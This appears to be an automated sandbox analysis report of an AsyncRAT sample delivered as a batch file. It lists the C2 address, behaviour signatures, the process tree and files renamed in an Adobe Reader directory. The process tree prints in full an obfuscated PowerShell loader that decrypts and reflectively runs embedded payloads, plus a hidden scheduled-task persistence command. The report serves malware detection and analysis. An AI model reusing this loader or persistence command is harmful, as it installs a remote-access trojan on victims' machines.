Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 22:28

General

  • Target
    Infected.bat
  • Size 281KB
  • Sample260830-2d4f3sttfv
  • SHA256 2386b91839ea9a6262e1d98cfb8423d49579dbc77b7510990557d1f00935360e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • asyncrat

Botnet
  • Default

C2
  • 79.110.49.227:30120

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Renames multiple (51) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 51 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Infected.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2456
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4200
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xr4OO8npamB62AZ8B2qII/3WRLqy7cKqixct3g9X3Ns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDxoKqsfQYz0NrVitWevzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hkLEy=New-Object System.IO.MemoryStream(,$param_var); $jLlER=New-Object System.IO.MemoryStream; $LNyhh=New-Object System.IO.Compression.GZipStream($hkLEy, [IO.Compression.CompressionMode]::Decompress); $LNyhh.CopyTo($jLlER); $LNyhh.Dispose(); $hkLEy.Dispose(); $jLlER.Dispose(); $jLlER.ToArray();}function execute_function($param_var,$param2_var){ $oWQWd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TpYIE=$oWQWd.EntryPoint; $TpYIE.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Infected.bat';$qvIYn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Infected.bat').Split([Environment]::NewLine);foreach ($nRzAE in $qvIYn) { if ($nRzAE.StartsWith(':: ')) { $wmCSU=$nRzAE.Substring(3); break; }}$payloads_var=[string[]]$wmCSU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_177_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_177.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1536
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_177.vbs"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:2412
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_177.bat" "
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1956
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:256
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:3448
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xr4OO8npamB62AZ8B2qII/3WRLqy7cKqixct3g9X3Ns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDxoKqsfQYz0NrVitWevzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hkLEy=New-Object System.IO.MemoryStream(,$param_var); $jLlER=New-Object System.IO.MemoryStream; $LNyhh=New-Object System.IO.Compression.GZipStream($hkLEy, [IO.Compression.CompressionMode]::Decompress); $LNyhh.CopyTo($jLlER); $LNyhh.Dispose(); $hkLEy.Dispose(); $jLlER.Dispose(); $jLlER.ToArray();}function execute_function($param_var,$param2_var){ $oWQWd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TpYIE=$oWQWd.EntryPoint; $TpYIE.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_177.bat';$qvIYn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_177.bat').Split([Environment]::NewLine);foreach ($nRzAE in $qvIYn) { if ($nRzAE.StartsWith(':: ')) { $wmCSU=$nRzAE.Substring(3); break; }}$payloads_var=[string[]]$wmCSU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                PID:4944

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            aic_file_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png
            • Size 50KB
            • SHA256 1fccc6813cbef7a5d637be37a36795726ddda3c2839d16e266495b3f30ce9727
            • MD5 SHA1 SHA512 SSDEEP TLSH

            aic_file_icons_retina_thumb.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png
            • Size 50KB
            • SHA256 069fa269d53f6b379033623bf53578f3074de77aa6037231d4d87e00bb621986
            • MD5 SHA1 SHA512 SSDEEP TLSH

            selection-actions.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\selection-actions.png
            • Size 1KB
            • SHA256 5cf52ea57e6221c07bd4ff18e9a094399295c1018ac4b39748c30fc73c508032
            • MD5 SHA1 SHA512 TLSH

            selection-actions2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\selection-actions2x.png
            • Size 3KB
            • SHA256 7bedd3d1afd46e1dd6992ccbc263e28b25d556cf30967fa8d775d35c4fe14a4f
            • MD5 SHA1 SHA512 TLSH

            selection-actions2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\selection-actions2x.png
            • Size 3KB
            • SHA256 7b2e89d88600a1990f69d08736acf69de340eeac4d218ea819663f0556ee7d15
            • MD5 SHA1 SHA512 TLSH

            warning_2x.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning_2x.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 1KB
            • SHA256 a71e8feb498f1e537aaf78ad39b6fb9fa1dc6564c88c5c065ad56d8558229274
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 400B
            • SHA256 3f3825bbc6f2f0c01c57b761163cf786bfa2dfcf0e63eb7f0fbfd9c5855e0c1c
            • MD5 SHA1 SHA512 TLSH

            example_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png
            • Size 688B
            • SHA256 2c761b8232c4693378c24391605fb108a44c24aba8d47d0adbee21cf4ba0e2e8
            • MD5 SHA1 SHA512 TLSH

            example_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png
            • Size 688B
            • SHA256 d1f2ac06bfa70be73f5806e7c897763476eb0f06c4fe14ce037c230e5dd3ac9a
            • MD5 SHA1 SHA512 TLSH

            example_icons2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png
            • Size 1KB
            • SHA256 61c1c700fbb828c0ba0beea5a811f2e8a3ad2ab242674827cfa8fded5386fcbe
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png
            • Size 448B
            • SHA256 c9b074955fb2a537f926b7475f86642339f1b95f7508585a644f0bb287fdae17
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png
            • Size 448B
            • SHA256 4507c47a03485b89eb1074347a1be254c738a9bdf37500d4d8fbab4073569a5f
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png
            • Size 624B
            • SHA256 635602a1b9652c2de377c77157bece7c4716337768b9147e9743e57d00deaff6
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png
            • Size 624B
            • SHA256 d66e3e1f725c940a6f30bd154c14a7b2aa8ab3314e10801ae487ea24f18adfb0
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png
            • Size 560B
            • SHA256 905f8df8447fa41ed53f5e752201d48e02937c7396a021b01a13fdca7eebeb50
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png
            • Size 560B
            • SHA256 60b4f4b2590c44f34ef4533567d140005812a602bc040c36a5790b49071d3614
            • MD5 SHA1 SHA512 TLSH

            example_icons2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons2x.png
            • Size 1KB
            • SHA256 9bcd9f218baac5c1cf20bb6379ee3d65dd40600ddcaf868580941cf615a8565f
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png
            • Size 400B
            • SHA256 6babcc15e4853e70f6fdd5ec0ef9b3b55b33402d7609b71a0a53917dda6c741d
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png
            • Size 400B
            • SHA256 ee315b1a78a262b7073722f29260075815f858ffbfd50aacdc16aaed42bdbee4
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png
            • Size 560B
            • SHA256 07b97e242a8b406aa3224563e277d3a462832c0ce3954119eee58393684a2e51
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png
            • Size 560B
            • SHA256 802cc14890c63a579cf2a910ac33dfdbcf2e7fb61d69bb0f18bcaa00b64d775d
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png
            • Size 400B
            • SHA256 b860ceb72a36036b234a923e9e7111d1529e9139ce4b13ab22f365dc1631ad90
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png
            • Size 400B
            • SHA256 6cbb10dfc0c0662b4da0f93707ef43f7e5c7c5847549ca0e6acf1ee6804165fa
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png
            • Size 560B
            • SHA256 a92b84f6801cf361652305a149ff225cc0fb5b859e5e50088d3e698a9e900920
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png
            • Size 560B
            • SHA256 27dfd94b1510a08abe365e6a214ca7ca9ae78d667c1d368c7940312befb6cf5a
            • MD5 SHA1 SHA512 TLSH

            rhp_world_icon_hover.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png
            • Size 400B
            • SHA256 2c4a14415fe20b3f686b51c99b39e1fb50c4f41fe56142bab0298b47a67d2f68
            • MD5 SHA1 SHA512 TLSH

            icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons.png
            • Size 7KB
            • SHA256 ade85eb888cbf7b4679bbd731ca97138f3d0e005013a47c354152adf961b4888
            • MD5 SHA1 SHA512 SSDEEP TLSH

            icons_ie8.gif

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_ie8.gif
            • Size 7KB
            • SHA256 13cd1c8baff52792aa288b217c29ee10605b822c74643dfa3c079d06e365025c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            icons_ie8.gif

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_ie8.gif
            • Size 7KB
            • SHA256 e6ad132b8b2d8947338ac388c3ffb38a477b9603717c534c3759937dff8c236d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            icons_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png
            • Size 15KB
            • SHA256 425219c2d734483ad6d5acdb1b30fbfffc705d530bd60b265f835889c9ae3b88
            • MD5 SHA1 SHA512 SSDEEP TLSH

            icons_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png
            • Size 15KB
            • SHA256 e4e1c86356c114fc8710feb6a54643d1232621e81b3393d396f22999be2fce64
            • MD5 SHA1 SHA512 SSDEEP TLSH

            new_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png
            • Size 8KB
            • SHA256 551dc980298635d41fcbcf7c106b0ca64a4d9bd690327e53a233359a236749c3
            • MD5 SHA1 SHA512 SSDEEP TLSH

            new_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png
            • Size 8KB
            • SHA256 251879775651f82080db856aef8709f5614771bd2162452a95bf7f148f12433e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            new_icons_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png
            • Size 17KB
            • SHA256 04d9e9408aed6a4d1fa97ad20204f0a4a32928b79ad32b3f9bd6a7b85f3b29d3
            • MD5 SHA1 SHA512 SSDEEP TLSH

            new_icons_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png
            • Size 17KB
            • SHA256 68376668d5742adcc922f294f3f665ef0e4ce02af88da7c26d4f3d9bc7268538
            • MD5 SHA1 SHA512 SSDEEP TLSH

            icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png
            • Size 7KB
            • SHA256 ca049ed87a74050efdd321e8d42becc2b40e80979308ee922ded36c494f6d582
            • MD5 SHA1 SHA512 SSDEEP TLSH

            bg_pattern_RHP.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png
            • Size 192B
            • SHA256 324fe3797eb6954015093a4a85f8a8b391fdb142bcd1d1b3f497da0db8c79bb8
            • MD5 SHA1 SHA512 TLSH

            bg_pattern_RHP.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png
            • Size 192B
            • SHA256 005c94dfdea98929772fb898be0ae39e9389335c8e039c18b3a962dd3dd314bd
            • MD5 SHA1 SHA512 TLSH

            bg_patterns_header.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png
            • Size 704B
            • SHA256 b1098351d2bb70d434916804c4709b8bbde0c23cf6b050e6a0c875d5b9782e94
            • MD5 SHA1 SHA512 TLSH

            illustrations.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png
            • Size 8KB
            • SHA256 ec079fd8d536c327298231026474bf6ab7324524a935537173e3ee9d693e9625
            • MD5 SHA1 SHA512 SSDEEP TLSH

            illustrations.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png
            • Size 8KB
            • SHA256 32954cad48b70e7a437b913ffecf8361c6d3b835039557d680da0e7bd203f8cf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            illustrations_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png
            • Size 19KB
            • SHA256 0d8328055ed7b21297de9e2b29540e896704c6fd34f3d37d3fde64fc8f36e6d5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            illustrations_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png
            • Size 19KB
            • SHA256 bdf1ad27c779d17b09525eca1eb934474d503217aa95b4e29401a909d3e74edb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            bg_patterns_header.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_patterns_header.png
            • Size 704B
            • SHA256 eec34de505f6d436c124120adbdb8f6f5edf9d3a5e323302391cf3bb6967002f
            • MD5 SHA1 SHA512 TLSH

            progress.gif

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif
            • Size 19KB
            • SHA256 293fbb727ac54f35dac0aa2e16bc190e7fbdeb4df8fdd3226d45f58c133fdbf4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            progress.gif

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif
            • Size 19KB
            • SHA256 3138a6a4b4354d58c1bf55114683454d5717b628632773870e62c1b50b8769a9
            • MD5 SHA1 SHA512 SSDEEP TLSH

            faf_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\faf_icons.png
            • Size 6KB
            • SHA256 f4d7ff8bec2cea848a0726972fb3fd4e141ad1993ecf03ea31d18fb698cbd6cb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            faf_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\faf_icons.png
            • Size 6KB
            • SHA256 baf6962f0f51148bf390ebce8110d29957d3cf8012e94d515e36178e7e019e6e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            bun.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\bun.png
            • Size 2KB
            • SHA256 a6f5e5e8f7aa96d2f42d01ce559ce75cabaf7fc77176fa4aca275bb703551271
            • MD5 SHA1 SHA512 TLSH

            cstm_brand_preview.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview.png
            • Size 2KB
            • SHA256 7866e1859978609918685a5c5e19d4ca23c260822f979a13c1e0fc8167fb608b
            • MD5 SHA1 SHA512 TLSH

            cstm_brand_preview2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview2x.png
            • Size 4KB
            • SHA256 e0add72ff2b84df74133fdb11f2bab0172f10f125dc0872aac15e463023500f0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            cstm_brand_preview2x.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview2x.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 4KB
            • SHA256 ed3d4bbd07aeb60e79208e56ed049a04d7777d23e1482fe420c338817bbd3746
            • MD5 SHA1 SHA512 SSDEEP TLSH

            dd_arrow_small.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\dd_arrow_small.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 304B
            • SHA256 15068f7147edc49ca77be498fe24d3b6379863e25f191b7a0771da1be50e7fe8
            • MD5 SHA1 SHA512 TLSH

            illustrations.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\illustrations.png
            • Size 4KB
            • SHA256 1978633e2ce4a4c747aff7748c1925d6041a37b181289ffa554d416fdc779deb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            illustrations.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\illustrations.png
            • Size 4KB
            • SHA256 36842b078b1fc9142b8319cdc73b5b6511e4e15ed2ac17ff83acf3c2e2f80817
            • MD5 SHA1 SHA512 SSDEEP TLSH

            nub.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\nub.png
            • Size 1008B
            • SHA256 ceb9feb04acede2f70a7b407c88f2e0aac0396ccfa3cd74f93a52bb681087470
            • MD5 SHA1 SHA512 TLSH

            share_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\share_icons.png
            • Size 1KB
            • SHA256 c93da3ab4390bfeeb0f4625d8e798f7a514dcc5ee7506cff31f0b631cf873780
            • MD5 SHA1 SHA512 TLSH

            share_icons2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\share_icons2x.png
            • Size 2KB
            • SHA256 a72418718d8c82df1e68cac84fe3b1d9bb4716fd15fbd9718320bf839eaccb07
            • MD5 SHA1 SHA512 TLSH

            share_icons2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\share_icons2x.png
            • Size 2KB
            • SHA256 5abf2a5a10aaf9f88707dc932eedc9a65b5950b1eabf1dd998b908e75178823c
            • MD5 SHA1 SHA512 TLSH

